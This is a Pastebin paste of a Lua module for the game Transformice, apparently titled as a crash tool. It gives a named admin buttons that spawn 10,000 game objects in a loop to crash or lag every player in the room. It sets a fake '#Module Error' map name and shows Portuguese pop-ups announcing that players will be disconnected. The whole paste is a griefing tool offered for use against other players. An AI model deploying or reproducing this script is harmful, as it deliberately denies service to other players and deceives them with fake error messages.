Advertisement
Tectoon

[TFM] Crash All in one + Admin

Sep 28th, 2015
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.64 KB | None | 0 0
  1. admin = "+Arco"
  2.  
  3. ui.addTextArea(1,"<a href='event:crash'>Crash</a>",admin,10, 30, 45, 20, 0x000000, 0x324650, 0.5, true)
  4. ui.addTextArea (2, "<p align='center'><b><a href='event:lag'>Lag</a></b></p>", admin, 68, 30, 50, 20, 0xC06F6E, 0x324650, 0.75, true)
  5. ui.addTextArea (3, "<p align='center'><b><a href='event:crashup'>Crash+Popup</a></b></p>", admin, 132, 30, 92, 20, 0x000000, 0x324650, 0.75, true)
  6. ui.addTextArea (4, "<p align='center'><b><a href='event:lagup'>Lag+PopUp</a></b></p>", admin, 236, 30, 80, 20, 0xC06F6E, 0x324650, 0.75, true)
  7. ui.addTextArea(5,  "<p align='center'><b><a href='event:mapa'>Mapa Crash</a></b></p>",admin, 326, 30, 80, 20, 0x000000, 0x324650, 0.75, true)
  8.  
  9. function doNextMap()
  10.         tfm.exec.newGame(maplist[math.random(#maplist)]);
  11.     tfm.exec.setUIMapName("<J>#Module Error</j>")
  12. end
  13.  
  14. function eventPlayerLeft(playerName)
  15.         print("<VP>O Player, <v>"..playerName.." <VP>saiu da sala.")
  16. end
  17.  
  18. function allcrash(event)
  19.  
  20. if event=="mapa" then
  21. tfm.exec.disableAutoShaman(True)
  22.  
  23. tfm.exec.setUIMapName("<J>#Module Error</j>")
  24. maplist = {[[6503178]],[[@5919103]]}
  25. doNextMap();
  26. end
  27.  
  28. if event=="crash" then
  29. tfm.exec.setUIMapName("<J>#Module Error</j>")
  30. for i=1,10000 do
  31. tfm.exec.addShamanObject(10, 400, 200, 0, 0, 0, false)
  32. end
  33. end
  34.  
  35. if event=="lag" then
  36. tfm.exec.setUIMapName("<J>#Module Error</j>")
  37. for i=1,10000 do
  38. tfm.exec.addShamanObject(0, 400, 600, 0, 0, 0, false)
  39. end
  40. end
  41.  
  42. if event=="crashup" then
  43. tfm.exec.setUIMapName("<J>#CrashUp ativado com sucesso! - <ROSE> By Tectoon</j>")
  44. ui.addTextArea(0,"<font color='#5ACDD5' align='center' size='20'><b>     <i><s>     Ativando Crash... </s></i></font><font size='26' color='#CE931D' align='center' face='Soopafresh'><br>                 Crash Ativado :')<font face='verdana' size='12'><br><b><J><br><br><b><font size='14'>Você será <rose>Desconectado <j>Do jogo!</font><font size='12'><br>Good Bye By Tectoon <V>:v <br><font size='10'><j>Crash carregado com sucesso! <J>By <R>Tectoon :v <br><br><ch><font size='12'>~Criado por um cidadão.",playerName,200,125,380,170, 0x3E3D3C, 0xF9E1AF, 0.8, true)
  45. ui.addTextArea(1,"<p align='center'><font color='#4AAEE9'><B><a href='event:close'>X</a>",player,568,112,19,18,0xFF4100,0x313131,1,true)
  46. function eventTextAreaCallback(textAreaId, player, callback)
  47. if(callback == "close") then
  48. ui.removeTextArea(0,player)
  49. ui.removeTextArea(1,player)
  50. end
  51. end
  52. for i=1,10000 do
  53. tfm.exec.addShamanObject(10, 400, 200, 0, 0, 0, false)
  54. end
  55. end
  56.  
  57. if event=="lagup" then
  58. tfm.exec.setUIMapName("<J>#CrashUp ativado com sucesso! - <ROSE> By Tectoon</j>")
  59. ui.addTextArea(0,"<font color='#5ACDD5' align='center' size='20'><b>     <i><s>     Ativando Lag... </s></i></font><font size='26' color='#CE931D' align='center' face='Soopafresh'><br>                 Lag Ativado :')<font face='verdana' size='12'><br><b><J><br><br><b><font size='14'>Você será <rose>Desconectado <j>Do jogo!</font><font size='12'><br>Good Bye By Tectoon <V>:v <br><font size='10'><j>Crash carregado com sucesso! <J>By <R>Tectoon :v <br><br><ch><font size='12'>~Criado por um cidadão.",playerName,200,125,380,170, 0x3E3D3C, 0xF9E1AF, 0.8, true)
  60. ui.addTextArea(1,"<p align='center'><font color='#4AAEE9'><B><a href='event:close'>X</a>",player,568,112,19,18,0xFF4100,0x313131,1,true)
  61. function eventTextAreaCallback(textAreaId, player, callback)
  62. if(callback == "close") then
  63. ui.removeTextArea(0,player)
  64. ui.removeTextArea(1,player)
  65. end
  66. end
  67. for i=1,10000 do
  68. tfm.exec.addShamanObject(0, 400, 600, 0, 0, 0, false)
  69. end
  70. end
  71. end
  72.  
  73. function eventTextAreaCallback(id,playerName,event)
  74.         if playerName==tostring(admin) then
  75.                 allcrash(event)
  76.         end
  77. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement